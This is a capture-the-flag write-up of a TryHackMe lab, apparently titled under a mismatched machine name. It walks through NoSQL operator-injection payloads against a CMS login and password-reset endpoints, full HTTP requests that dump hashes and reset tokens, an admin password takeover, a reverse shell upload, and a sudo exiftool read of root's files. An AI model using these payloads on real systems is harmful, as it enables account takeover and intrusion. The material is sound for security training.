TryHackMe - CyberCrafted

This is a machine that allows you to practise web app hacking and privilege escalation using recent vulnerabilities.

You’ve identified that the CMS installed on the web server has several vulnerabilities that allow attackers to enumerate users and change account passwords.

Your mission is to exploit these vulnerabilities and compromise the web server.

Title CMSpit
Difficulty Medium
Author stuxnet
Tags MongoDB, Webapp, RCE

Enumeration

Nmap

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn cmspit.thm
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-30 22:44 EDT
Warning: 10.10.39.101 giving up on port because retransmission cap hit (10).
Nmap scan report for cmspit.thm (10.10.39.101)
Host is up (0.32s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 45.32 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 22,80 cmspit.thm
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-30 22:45 EDT
Nmap scan report for cmspit.thm (10.10.39.101)
Host is up (0.31s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 7f:25:f9:40:23:25:cd:29:8b:28:a9:d9:82:f5:49:e4 (RSA)
|   256 0a:f4:29:ed:55:43:19:e7:73:a7:09:79:30:a8:49:1b (ECDSA)
|_  256 2f:43:ad:a3:d1:5b:64:86:33:07:5d:94:f9:dc:a4:01 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-title: Authenticate Please!
|_Requested resource was /auth/login?to=/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-trane-info: Problem with XML parsing of /evox/about
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.4
OS details: Linux 5.4
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   264.78 ms 10.9.0.1
2   338.71 ms cmspit.thm (10.10.39.101)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.87 seconds

HTTP (Port 80)

Enter the target URL http://cmspit.thm/ and the application will automatically route to the authentication path as /auth/login?to=/:

Untitled

Press Ctrl+U to view the page source and I explore these blocks of script:

Provide the version of the CMS:

    <link href="/assets/app/css/style.css?ver=[REDACTED]" type="text/css" rel="stylesheet">
    <script src="/storage/tmp/7a812eebe1eda3162d79b4109b4787d4.js?ver=[REDACTED]" type="text/javascript"></script>
    <script src="/storage/tmp/4cc5a0d2487ec7f4c75b0cc9115bf601.js?ver=[REDACTED]" type="text/javascript"></script>
    

Provide the authentication logic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
this.error = false;
this.$user = null;

var redirectTo = '/';

submit(e) {

    e.preventDefault();

    this.error = false;

    App.request('/auth/check', {
        auth : {user:this.refs.user.value, password:this.refs.password.value },
        csfr : "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc"
    }).then(function(data) {

        if (data && data.success) {

            this.$user = data.user;

            setTimeout(function(){
                App.reroute(redirectTo);
            }, 2000)

        } else {

            this.error = 'Login failed';

            App.$(this.header).addClass('uk-bg-danger uk-contrast');
            App.$('#login-dialog').removeClass('uk-animation-shake');

            setTimeout(function(){
                App.$('#login-dialog').addClass('uk-animation-shake');
            }, 50);
        }

        this.update();

    }.bind(this), function(res) {
        App.ui.notify(res && (res.message || res.error) ? (res.message || res.error) : 'Login failed.', 'danger');
    });

    return false;

}

// i18n for uikit-formPassword
UIkit.components.formPassword.prototype.defaults.lblShow = 'Show';
UIkit.components.formPassword.prototype.defaults.lblHide = 'Hide';

At the csfr section in the App.request('/auth/check'), there is a encoded string:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc

The first 2 parts could be decoded from base64 to:

"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" -> {"typ":"JWT","alg":"HS256"}
"eyJjc2ZyIjoibG9naW4ifQ" -> {"csfr":"login"}

Click on the Forgot Password? link below the login form:

Untitled

Press Ctrl + U to view the page source and also discover this block of script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
this.error = false;
this.reset = false;
this.message = false;

submit(e) {

    e.preventDefault();

    this.error = false;
    this.reset = false;

    App.request('/auth/requestreset', {user:this.refs.user.value}).then(function(data){

        this.reset = true;
        this.message = data.message;
        this.update();

    }.bind(this)).catch(function(data) {

        this.error = typeof data.error === 'string' ? data.error : 'Something went wrong';

        App.$('#reset-dialog').removeClass('uk-animation-shake');

        setTimeout(function(){
            App.$('#reset-dialog').addClass('uk-animation-shake');
        }, 50);

        this.update();

    }.bind(this));

    return false;

}

The path /auth/requestreset checks the username value whether it is valid (exits). If it exits, the application will generate the message as a token for resetting the password of selected user.

Fuzzing

┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 40 --no-error -u http://cmspit.thm/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cmspit.thm/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================

Error: the server returns a status code that matches the provided options for non existing urls. http://cmspit.thm/ef4eba02-1674-4320-b732-0fe0beebe181 => 302 (Length: 0). To continue please exclude the status code or the length

┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 40 --no-error -u http://cmspit.thm/ --exlcude-length 0
Error: unknown flag: --exlcude-length

┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 40 --no-error -u http://cmspit.thm/ --exclude-length 0
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cmspit.thm/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          0
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/modules              (Status: 301) [Size: 310] [--> http://cmspit.thm/modules/]
/assets               (Status: 301) [Size: 309] [--> http://cmspit.thm/assets/]
/storage              (Status: 301) [Size: 310] [--> http://cmspit.thm/storage/]
/lib                  (Status: 301) [Size: 306] [--> http://cmspit.thm/lib/]
/install              (Status: 301) [Size: 310] [--> http://cmspit.thm/install/]
/cp                   (Status: 403) [Size: 275]
/auth                 (Status: 200) [Size: 33]
/LICENSE              (Status: 200) [Size: 1133]
/addons               (Status: 301) [Size: 309] [--> http://cmspit.thm/addons/]

User Enumeration

Googling for awhile and thanks to this source helps me a lot to enumerate the users manually. On the default path /auth/login?to=/, enter a random USERNAME and PASSWORD (Ex: admin:admin), then capture the request using burpsuite like this:

POST /auth/check HTTP/1.1
Host: cmspit.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 157
Origin: http://cmspit.thm
Connection: close
Referer: http://cmspit.thm/auth/login?to=/
Cookie: 8071dec2be26139e39a170762581c00f=tpd4vub3jm08vns2gln5nadmgb

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc"}

Untitled

Modify the ”user” data to:

"user":"admin" -> "user": {"$func":"var_dump"}
POST /auth/check HTTP/1.1
Host: cmspit.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 175
Origin: http://cmspit.thm
Connection: close
Referer: http://cmspit.thm/auth/login?to=/
Cookie: 8071dec2be26139e39a170762581c00f=tpd4vub3jm08vns2gln5nadmgb

{"auth":{"user":{
"$func": "var_dump"
},"password":"admin"},"csfr":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.dlnu8XjKIvB6mGfBlOgjtnixirAIsnzf5QTAEP1mJJc"}

Untitled

Send the request the capture the response as below:

HTTP/1.0 200 OK
Date: Sun, 01 Oct 2023 03:49:33 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 125
Connection: close
Content-Type: application/json

string(5) "admin"
string(12) "darkStar7471"
string(5) "skidy"
string(8) "ekoparty"
{"success":false,"error":"User not found"}

Untitled

Exploit

Compromise User Data

Access the path /auth/requestreset/, enter the username skidy into the field and click RESET to send the request:

Untitled

Capture the request & response in burpsuite:

POST /auth/requestreset HTTP/1.1
Host: cmspit.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 16
Origin: http://cmspit.thm
Connection: close
Referer: http://cmspit.thm/auth/forgotpassword
Cookie: 8071dec2be26139e39a170762581c00f=pcmp2gb5ickiqe9v57dnh33sts

{"user":"skidy"}

Untitled

Send to Repeater tab and modify the request within:

  • /auth/requestreset//auth/resetpassword
  • "user":"skidy"”token”:{”$func”:”var_dump”}
POST /auth/resetpassword HTTP/1.1
Host: cmspit.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 16
Origin: http://cmspit.thm
Connection: close
Referer: http://cmspit.thm/auth/forgotpassword
Cookie: 8071dec2be26139e39a170762581c00f=pcmp2gb5ickiqe9v57dnh33sts

{"token":{
"$func":"var_dump"
}}

Untitled

Send the request and capture the response:

HTTP/1.0 404 Not Found
Date: Sun, 01 Oct 2023 04:22:23 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 168
Connection: close
Content-Type: text/html;charset=UTF-8

string(48) "rp-d72d501f6207ac757ac3cb114d1a0a4760a88abe28f23"
string(48) "rp-abe0605c21363542ccbe4197025c59776518f33a78149"
{"error": "404", "message":"File not found"}

Untitled

❗ The first token string is always defined as the admin’s token even if the value has been changed

Copy one of the token strings and modify the request once again to dump the user account data within:

  • /auth/resetpassword//auth/newpassword/
  • ”token”:{”$func”:”var_dump”}"token":"<token_string>"
POST /auth/newpassword HTTP/1.1
Host: cmspit.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 60
Origin: http://cmspit.thm
Connection: close
Referer: http://cmspit.thm/auth/forgotpassword
Cookie: 8071dec2be26139e39a170762581c00f=pcmp2gb5ickiqe9v57dnh33sts

{"token":"rp-d72d501f6207ac757ac3cb114d1a0a4760a88abe28f23"}

In the response, scroll down to the <script> tag and get the user account data including username, password hash, email,…:

this.user  = {"user":"admin","name":"Admin","email":"admin@yourdomain.de","active":true,"group":"admin","password":"$2y$10$dChrF2KNbWuib\/5lW1ePiegKYSxHeqWwrVC.FN5kyqhIsIdbtnOjq","i18n":"en","_created":1621655201,"_modified":1621655201,"_id":"60a87ea165343539ee000300","_reset_token":"rp-d72d501f6207ac757ac3cb114d1a0a4760a88abe28f23","md5email":"a11eea8bf873a483db461bb169beccec"};

Untitled

this.user  = {"user":"skidy","email":"skidy@tryhackme.fakemail","active":true,"group":"admin","i18n":"en","api_key":"account-21ca3cfc400e3e565cfcb0e3f6b96d","password":"$2y$10$uiZPeUQNErlnYxbI5PsnLurWgvhOCW2LbPovpL05XTWY.jCUave6S","name":"Skidy","_modified":1621719311,"_created":1621719311,"_id":"60a9790f393037a2e400006a","_reset_token":"rp-abe0605c21363542ccbe4197025c59776518f33a78149","md5email":"5dfac21f8549f298b8ee60e4b90c0e66"};

Untitled

Change password

Back to the request that POST to the /auth/resetpassword/ path, modify the data as:

{"token":"<TOKEN_STRING>",
"password":"<NEW_PASSWORD>"}
POST /auth/resetpassword HTTP/1.1
Host: cmspit.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Content-Length: 34
Origin: http://cmspit.thm
Connection: close
Referer: http://cmspit.thm/auth/forgotpassword
Cookie: 8071dec2be26139e39a170762581c00f=pcmp2gb5ickiqe9v57dnh33sts

{"token":"rp-d72d501f6207ac757ac3cb114d1a0a4760a88abe28f23",
"password":"adminpass"}

The password is reset successfully when the response message like this:

HTTP/1.0 200 OK
Date: Sun, 01 Oct 2023 04:46:43 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 45
Connection: close
Content-Type: application/json

{"success":true,"message":"Password updated"}

Untitled

If the response message is File not found like this:

HTTP/1.0 404 Not Found
Date: Sun, 01 Oct 2023 04:41:06 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 44
Connection: close
Content-Type: text/html;charset=UTF-8

{"error": "404", "message":"File not found"}

Untitled

Please back to the /auth/resetpassword/ path and re-generate the token string with "$func":"var_dump" then take the token string at the first line as the admin’s token and re-send the request to change a new password.

Get Access admin account:

Back to the login page and enter a new creds to login:

Untitled

Wait for awhile for the authentication process and the application will automatically route to the main page:

Untitled

Route to the /finder path to view all the files in the current workstation and get the web-flag:

Untitled

Untitled

then upload a reverse shell to implement the RCE attack:

Untitled

Untitled

After uploading the reverse shell successfully, start a listener on the local machine then modify the URL to the target path to execute the shell:

Untitled

┌──(kali㉿kali)-[~/TryHackMe/cmspit]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.241.220] 49410
Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 22:03:12 up  1:01,  0 users,  load average: 34.22, 34.72, 36.43
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami;pwd
www

Navigate to the /var/www/html/[REDACTED]/ directory and get the web-flag:

$ pwd
/var/www/html/[REDACTED]
$ cat webflag.php
<?php
        $flag = "[REDACTED]";
?>

Database flag

Enumerate the user stux directory and I find out the .dbshell file might contains sensitive information:

$ ls -la /home/stux/
total 44
drwxr-xr-x 4 stux stux 4096 May 22  2021 .
drwxr-xr-x 3 root root 4096 May 21  2021 ..
-rw-r--r-- 1 root root   74 May 22  2021 .bash_history
-rw-r--r-- 1 stux stux  220 May 21  2021 .bash_logout
-rw-r--r-- 1 stux stux 3771 May 21  2021 .bashrc
drwx------ 2 stux stux 4096 May 21  2021 .cache
-rw-r--r-- 1 root root  429 May 21  2021 .dbshell
-rwxrwxrwx 1 root root    0 May 21  2021 .mongorc.js
drwxrwxr-x 2 stux stux 4096 May 21  2021 .nano
-rw-r--r-- 1 stux stux  655 May 21  2021 .profile
-rw-r--r-- 1 stux stux    0 May 21  2021 .sudo_as_admin_successful
-rw-r--r-- 1 root root  312 May 21  2021 .wget-hsts
-rw------- 1 stux stux   46 May 22  2021 user.txt

Read it’s content and then I capture the database flag. I also observe the user stux‘s creds additionally:

$ cat /home/stux/.dbshell
show
show dbs
use admin
use sudousersbak
show dbs
db.user.insert({name: "stux", name: "[REDACTED]"})
show dbs
use sudousersbak
show collections
db
show
db.collectionName.find()
show collections
db.collection_name.find().pretty()
db.user.find().pretty()
db.user.insert({name: "stux"})
db.user.find().pretty()
db.flag.insert({name: "[REDACTED]"})
show collections
db.flag.find().pretty()

Horizontal Privilege Escalation

Using the creds found earlier to compromise the user stux, I easily get the user flag:

www-data@ubuntu:/home/stux$ su stux
su stux
Password: [REDACTED]

stux@ubuntu:~$ cat user.txt
cat user.txt
[REDACTED]

Vertical Privilege Escalation

Type sudo -l to list the allowed commands for the invoking user (stux) and I explore the exiftool service:

stux@ubuntu:~$ sudo -l
sudo -l
Matching Defaults entries for stux on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User stux may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/local/bin/exiftool

Through the GTFOBins, the exiftool within sudo permission could be exploit by specifying the target file to read as $INPUT and the destination to write as $LFILE:

LFILE=file_to_write
INPUT=input_file
sudo exiftool -filename=$LFILE $INPUT

Therefore, I declare the /root/root.txt as the target file and the root.txt in the current location as the written file and get the root flag:

stux@ubuntu:~$ sudo /usr/local/bin/exiftool -filename=/home/stux/root.txt /root/root.txt
<cal/bin/exiftool -filename=/home/stux/root.txt /root/root.txt
    1 image files updated

stux@ubuntu:~$ ls -l
ls -l
total 12
-rw-rw-r-- 1 stux stux 268 Sep 30 23:18 exploit.c
-rw-r--r-- 1 root root  46 May 22  2021 root.txt
-rw------- 1 stux stux  46 May 22  2021 user.txt
stux@ubuntu:~$ cat root.txt
cat root.txt
thm{bf52a85b12cf49b9b6d77643771d74e90d4d5ada}